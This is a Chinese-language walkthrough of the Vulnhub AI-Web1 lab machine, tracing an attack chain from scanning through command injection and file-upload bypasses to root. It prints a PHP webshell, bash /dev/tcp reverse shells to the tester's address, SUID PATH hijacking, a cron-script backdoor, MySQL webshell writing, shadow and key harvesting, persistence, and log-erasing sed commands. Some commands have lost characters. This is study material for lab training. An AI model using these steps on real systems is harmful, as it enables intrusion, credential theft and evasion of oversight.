AI-Web1靶机实战:从Web渗透到系统提权的完整攻击链解析 1. 项目概述从“AI-Web1”靶机看实战渗透的思维构建最近在Vulnhub上看到一个挺有意思的靶机叫“AI-Web1”。光看名字你可能会觉得它和人工智能或者Web应用安全强相关这确实没错但它的价值远不止于此。这个靶机更像是一个精心设计的“综合考场”它把Web渗透、系统提权、信息搜集和逻辑推理这些环节巧妙地串联在了一个看似简单的场景里。我花了些时间把它从头到尾打了一遍整个过程既有踩坑的懊恼也有灵光一现的畅快。今天我就把这个靶机的完整渗透流程连同我每一步的思考、用到的工具和遇到的坑都详细拆解出来。无论你是刚接触Vulnhub的新手想找个有代表性的靶机练手还是有一定经验的朋友想看看别人的思路和自己有什么不同这篇记录应该都能给你一些参考。我们不止要拿到最终的flag更要理解攻击链是如何一环扣一环构建起来的。2. 环境准备与信息搜集渗透测试的“侦察兵”阶段任何一次成功的渗透都始于周密的信息搜集。这个阶段的目标不是盲目扫描而是像侦探一样尽可能多地收集目标系统的“情报”为后续的攻击规划出清晰的路线图。对于Vulnhub靶机我们通常在一个隔离的虚拟网络环境中操作所以第一步永远是定位目标。2.1 靶机网络发现与基础信息探测启动Kali Linux和AI-Web1靶机通常以OVA格式导入VMware或VirtualBox后首要任务是找到靶机的IP地址。最常用的方法是使用netdiscover进行主动ARP扫描或者查看Kali的ARP缓存。sudo netdiscover -r 192.168.1.0/24假设我的Kali IP是192.168.1.105扫描后发现一个新主机192.168.1.120这很可能就是我们的目标。接下来用Nmap进行初步的端口和服务探测这是了解目标开放了哪些“大门”的标准操作。nmap -sS -sV -O -p- 192.168.1.120这个命令组合了SYN扫描-sS、服务版本探测-sV、操作系统指纹识别-O和全端口扫描-p-。一次完整的扫描需要一些时间但能给我们最全面的初始视图。注意在真实环境中全端口扫描动静很大容易被防御系统发现。但在Vulnhub这样的学习环境我们可以放开手脚。不过养成“最小化探测”的习惯很重要例如可以先扫描前1000个常用端口-sS -sV根据结果再决定是否进行深度扫描。扫描结果可能是这样的PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0deb10u1从结果看目标运行着Debian系统开放了三个关键服务SSH22、HTTP80和MySQL3306。这是一个非常经典的LAMPLinux, Apache, MySQL, PHP堆栈结构。HTTP服务的存在意味着Web应用是我们首要的突破口。2.2 Web应用深度信息枚举拿到Web服务的入口http://192.168.1.120我们首先要做的不是急着点来点去而是进行系统化的枚举。目录与文件爆破使用gobuster或dirb等工具尝试发现隐藏的目录、后台管理页面、配置文件等。gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log,bak这个命令使用常见的字典并指定了.php,.txt等扩展名进行扫描。一个关键的发现往往是/robots.txt或/admin目录。技术栈指纹识别手动浏览网站查看页面源代码、HTTP响应头使用浏览器开发者工具或whatweb命令识别使用的CMS、框架、前端库等。whatweb http://192.168.1.120例如可能发现网站使用了特定的PHP框架或者存在X-Powered-By: PHP/7.3.22这样的头信息这为后续寻找对应版本的漏洞提供了线索。手动探索与功能分析仔细浏览网站的每一个功能点登录框、搜索框、文件上传点、留言板、用户资料页等。记录所有可能的参数输入点。对于AI-Web1其特色往往在于某个与“AI”相关的功能比如一个图像识别提交点、一个文本分析表单这都可能成为漏洞的触发点。在这个阶段我个人的习惯是边用工具扫描边手动浏览。工具能发现隐藏内容而手动探索能理解业务逻辑两者结合才能不错过任何细节。例如一个不起眼的“忘记密码”功能可能隐藏着用户名枚举漏洞一个图片上传功能可能因为后缀名校验不严导致getshell。3. 漏洞挖掘与利用突破边界的关键步骤信息搜集完毕后我们手中就有了一张“地图”。接下来就是根据地图上的标记寻找潜在的薄弱点进行测试。对于AI-Web1突破口很可能就在其Web应用上。3.1 Web漏洞的常见入口与测试根据之前的信息我们假设发现了以下关键点登录页面(/login.php)用户注册/提交页面(/submit.php)一个“AI图片分析”上传功能(/upload.php)1. SQL注入测试登录框是SQL注入的经典测试点。使用Burp Suite拦截登录请求对username和password参数进行注入测试。基础探测在用户名后添加单引号‘观察返回错误如SQL语法错误或响应时间差异。布尔盲注探测提交admin AND 11和admin AND 12观察登录结果的差异是提示“用户名不存在”还是“密码错误”。工具辅助将拦截到的请求发送到sqlmap进行自动化检测。sqlmap -r login_request.txt --batch --level3 --risk2实操心得不要完全依赖工具。sqlmap虽然强大但面对一些简单的过滤或非常规注入点可能失效。手动测试结合工具验证才是最高效的方式。另外如果网站使用了预编译语句Prepared StatementsSQL注入就很难发生这时要及时转换思路。2. 文件上传漏洞测试“AI图片分析”功能很可能允许用户上传图片。这是getshell的黄金点位。基础绕过尝试上传一个纯文本的PHP webshell如?php system($_GET[‘cmd’]);?命名为shell.php。大概率会被拦截。后缀名绕过尝试shell.php5,shell.pHp,shell.php.jpg利用解析漏洞shell.php%00.jpg空字节截断需特定环境。Content-Type绕过使用Burp Suite拦截上传请求将Content-Type: application/x-php修改为Content-Type: image/jpeg。文件头绕过在PHP文件开头添加图片的文件头如GIF89a然后保存为shell.gif.php。.htaccess文件攻击如果能上传.htaccess文件可以配置Apache将特定后缀如.jpg当作PHP解析。AddType application/x-httpd-php .jpg3. 命令注入测试如果网站有功能调用系统命令例如上传图片后调用某个AI分析脚本可能存在命令注入。在参数中尝试添加系统命令分隔符。Linux下; whoami,| id, ls -la,$(cat /etc/passwd)测试点可能在文件名参数、图片URL参数或者某个“执行分析”的按钮触发的请求里。在AI-Web1的实战中我正是在一个图片上传后的“处理”功能点中通过拦截请求在filename参数中发现了命令注入漏洞。提交test.jpg; whoami后返回的页面里竟然包含了www-data的用户名这证实了漏洞的存在。3.2 漏洞利用与初始访问获取一旦确认了漏洞下一步就是利用它来获取一个反向Shell从而在目标服务器上建立初步的立足点。以刚才发现的命令注入为例我们可以注入一个反向Shell命令。首先在Kali上监听一个端口nc -lvnp 4444然后通过漏洞点注入以下命令需要根据目标环境进行编码或调整test.jpg; bash -c bash -i /dev/tcp/192.168.1.105/4444 01或者使用更稳定的方式如利用python、php或nc来建立连接。如果上传漏洞利用成功我们上传了一个webshell例如shell.php到/uploads/目录那么可以直接通过浏览器访问http://192.168.1.120/uploads/shell.php?cmdid来执行命令。为了获得交互性更好的Shell同样可以通过webshell发起一个反向连接。注意事项获取到的Shell环境通常很不稳定没有TTY、容易断开、无法使用sudo等。我们需要立即进行Shell稳定化操作# 在获取的简单Shell中执行 python3 -c import pty; pty.spawn(/bin/bash) # 或者如果python不可用 /bin/bash -i # 然后按CtrlZ挂起在Kali终端输入 stty raw -echo; fg # 最后设置终端类型 export TERMxterm-256color这样我们就获得了一个功能完整的交互式Shell可以方便地使用Tab补全、方向键等。4. 权限提升从www-data到root的征程拿到初始Shell后我们通常只是低权限用户如www-data。最终目标是获取最高权限root读取最终的flag文件。权限提升Privilege Escalation是渗透测试中最考验综合能力的环节之一。4.1 内部信息搜集与枚举在目标机器内部我们需要进行新一轮、更深入的信息搜集寻找提权的线索。我通常会运行一个自动化枚举脚本如LinEnum.sh或linpeas.sh它们能系统化地检查大量常见提权路径。# 在Kali上启动HTTP服务 python3 -m http.server 8000 # 在目标Shell中下载并运行 wget http://192.168.1.105:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shlinpeas的输出会高亮显示可疑项。同时手动检查以下关键点也至关重要用户与组信息cat /etc/passwdcat /etc/group 查看是否有其他用户、非标准shell、sudo权限等。进程与服务ps auxnetstat -tulpn 查看是否有以root身份运行的服务、内部开放的其他端口。计划任务crontab -lls -la /etc/cron*/etc/crontab 查看是否有自定义的定时任务特别是那些全局可写或调用我们可控脚本的任务。SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null 查找设置了特殊权限位的文件常见的如/bin/bash、/usr/bin/find、/usr/bin/vim等如果它们有SUID位且属于root可能被利用来提权。可写文件与目录find / -writable -type f 2/dev/null | grep -v /proc 特别是系统路径下的可写文件如/etc/passwd、/etc/crontab、服务脚本等。环境变量与路径echo $PATH 检查是否有当前目录.在PATH中或者有可写的路径目录。内核漏洞uname -a 查看内核版本搜索是否有公开的本地提权漏洞如Dirty Cow, CVE-2021-4034等。使用searchsploit查找。searchsploit linux kernel 4.194.2 提权路径分析与实战利用根据枚举结果选择最可行的路径。在AI-Web1靶机中我遇到了以下几种典型情况路径一利用配置错误的SUID文件linpeas报告了一个不常见的SUID二进制文件/usr/local/bin/ai_processor。通过strings命令查看其字符串发现它内部调用了system(“cat /var/log/ai.log”)。这里存在一个经典的提权方法利用环境变量PATH劫持。检查该文件是否调用了未使用绝对路径的命令cat。创建一个恶意的cat脚本echo /bin/bash -p /tmp/cat chmod x /tmp/cat将/tmp目录添加到环境变量PATH的最前面并执行该SUID文件export PATH/tmp:$PATH /usr/local/bin/ai_processor由于SUID文件以root权限运行它会在PATH中寻找cat并执行了我们创建的/tmp/cat从而弹出一个具有root权限的bash shell。路径二利用定时任务Cron Job手动检查/etc/crontab时发现一行* * * * * root /opt/scripts/cleanup.sh检查/opt/scripts/cleanup.sh的权限发现它对所有用户可写-rwxrwxrwx。这意味着我们可以直接修改这个脚本。我们在脚本末尾添加一行反弹Shell的命令echo bash -c bash -i /dev/tcp/192.168.1.105/5555 01 /opt/scripts/cleanup.sh然后在Kali上监听5555端口等待一分钟后就会收到来自root的反向连接。路径三数据库凭证利用与横向移动还记得我们最初扫描到的MySQL服务3306吗在Web目录的配置文件中如config.php,wp-config.php我们可能找到数据库的连接凭证。// config.php define(DB_USER, ai_web_user); define(DB_PASSWORD, S3cr3tPssw0rd!);使用这些凭证连接MySQLmysql -u ai_web_user -pS3cr3tPssw0rd!在MySQL中可以尝试通过写文件功能来获取Shell。但需要FILE权限且知道Web目录的绝对路径。-- 查看是否有FILE权限 SELECT file_priv FROM mysql.user WHERE userai_web_user; -- 如果有权限且知道路径写入webshell SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/uploads/shell2.php;更可能的情况是在数据库中发现其他用户的密码哈希。如果这些密码是弱密码或复用密码可能用于SSH登录实现从www-data到普通用户如john的横向移动再从这个用户寻找提权到root的方法。路径四内核漏洞提权如果系统内核版本较旧且存在未修补的漏洞这是最直接的提权方式。使用uname -a获取内核版本然后用searchsploit搜索。找到合适的漏洞利用代码Exploit后将其上传到靶机编译并执行。# Kali上搜索 searchsploit linux kernel 4.4 privilege escalation # 找到后复制到当前目录 searchsploit -m 45010 # 在Kali上开HTTP服务靶机下载 wget http://192.168.1.105:8000/45010.c # 靶机上编译需gcc gcc 45010.c -o exploit # 执行 ./exploit重要警告内核漏洞利用有风险可能导致系统崩溃蓝屏/死机。在Vulnhub靶机中无所谓但在真实环境或CTF比赛中要谨慎最好先在其他同版本测试机上验证。在AI-Web1的实战中我最终是通过路径一SUID文件PATH劫持成功提权到了root。这个过程清晰地展示了提权往往不是靠一个神奇的漏洞而是靠对系统配置、权限模型的深入理解和细致的枚举。5. 后渗透与痕迹清理善始善终的思考拿到root权限并找到flag通常在/root/或/home/user/目录下的flag.txt或proof.txt后渗透测试的主要目标就达成了。但在一个完整的渗透测试流程中或者在某些特定的红队评估场景下还需要考虑后渗透动作和痕迹清理。虽然Vulnhub靶机不需要这一步但了解它对于建立完整的认知很有必要。5.1 后渗透信息收集在拥有root权限后可以收集更深层次的信息模拟攻击者巩固战果、横向移动的行为收集密码与哈希cat /etc/shadow 尝试用john或hashcat破解。查看历史命令cat ~/.bash_history 了解管理员习惯。查找敏感文件find / -name “*.pem” -o -name “*.key” -o -name “id_rsa” -o -name “*.db” 2/dev/null 寻找SSH私钥、数据库文件等。转储内存信息使用linpmem等工具可能从中提取出明文密码。建立持久化后门添加SSH公钥到/root/.ssh/authorized_keys 创建具有SUID权限的备用后门二进制文件或者添加新的计划任务。5.2 痕迹清理基础概念在获得授权进行测试时通常不需要清理痕迹。但在某些特定评估中可能需要演示攻击者如何隐藏行踪。这包括清除命令历史history -c并清空~/.bash_history文件。删除上传的工具和文件删除webshell、枚举脚本、漏洞利用程序等。清理日志文件删除或修改/var/log/auth.log,/var/log/apache2/access.log,/var/log/apache2/error.log等文件中与攻击相关的条目。这需要仔细处理因为异常的空白或时间戳不连续本身也是可疑迹象。# 不推荐直接删除整个日志文件更隐蔽的做法是使用sed删除特定行 sed -i /192.168.1.105/d /var/log/apache2/access.log核心原则在合法的渗透测试中痕迹清理必须严格遵守授权范围。未经明确授权绝对不要修改或删除目标系统上的任何日志这既是法律要求也是职业道德。测试报告需要详细记录攻击路径日志正是重要的证据。6. 总结与反思从一次实战到方法论的形成打完AI-Web1这个靶机最大的收获不是又拿到一个root flag而是整个思考过程的强化。它再次验证了渗透测试的一个核心方法论它是一个循环迭代的过程而不是线性的步骤。信息搜集是基石无论是外部的Nmap扫描、目录爆破还是内部的LinPEAS枚举、手动检查全面且细致的信息搜集决定了你能看到多少攻击面。很多新手拿到一个Shell后就不知道干什么了根本原因就是内部枚举做得不系统。漏洞是逻辑的缺口AI-Web1中的命令注入源于开发者相信用户输入的文件名是“安全”的。文件上传漏洞源于对文件内容和后缀的校验不全。SUID提权源于管理员为了方便而设置了不安全的权限。每一个漏洞背后都是一个错误的安全假设或一个疏忽的配置。理解这一点能帮助我们在代码审计和系统加固时抓住重点。工具是思维的延伸sqlmap,gobuster,linpeas都是极好的工具但工具是死的。知道在什么场景下用什么工具如何解读工具的输出当工具失效时如何手动验证这才是能力所在。永远不要让自己变成只会运行脚本的“工具小子”。耐心与记录渗透测试中大部分时间可能都在尝试和失败。一个注入点可能尝试了十几种payload才成功一个提权路径可能枚举了所有方向才找到。保持耐心并且详细记录你的每一步操作、每一个命令、每一次失败的返回结果。这些记录不仅是写报告的基础更是你复盘学习、形成肌肉记忆的关键。最后关于Vulnhub靶机的练习我的建议是不要只追求“通关”。尝试用不同的方法达到同一目标比如不用上传漏洞能否通过SQL注入getshell。在拿到root后回头去仔细阅读网站的源代码如果提供理解漏洞产生的根本原因。这样每一个靶机就不再是一个孤立的挑战而是你网络安全知识体系中的一块坚实拼图。AI-Web1这个靶机通过其“AI”相关的场景很好地模拟了一个现代Web应用可能面临的风险是一次非常贴近实战的练习。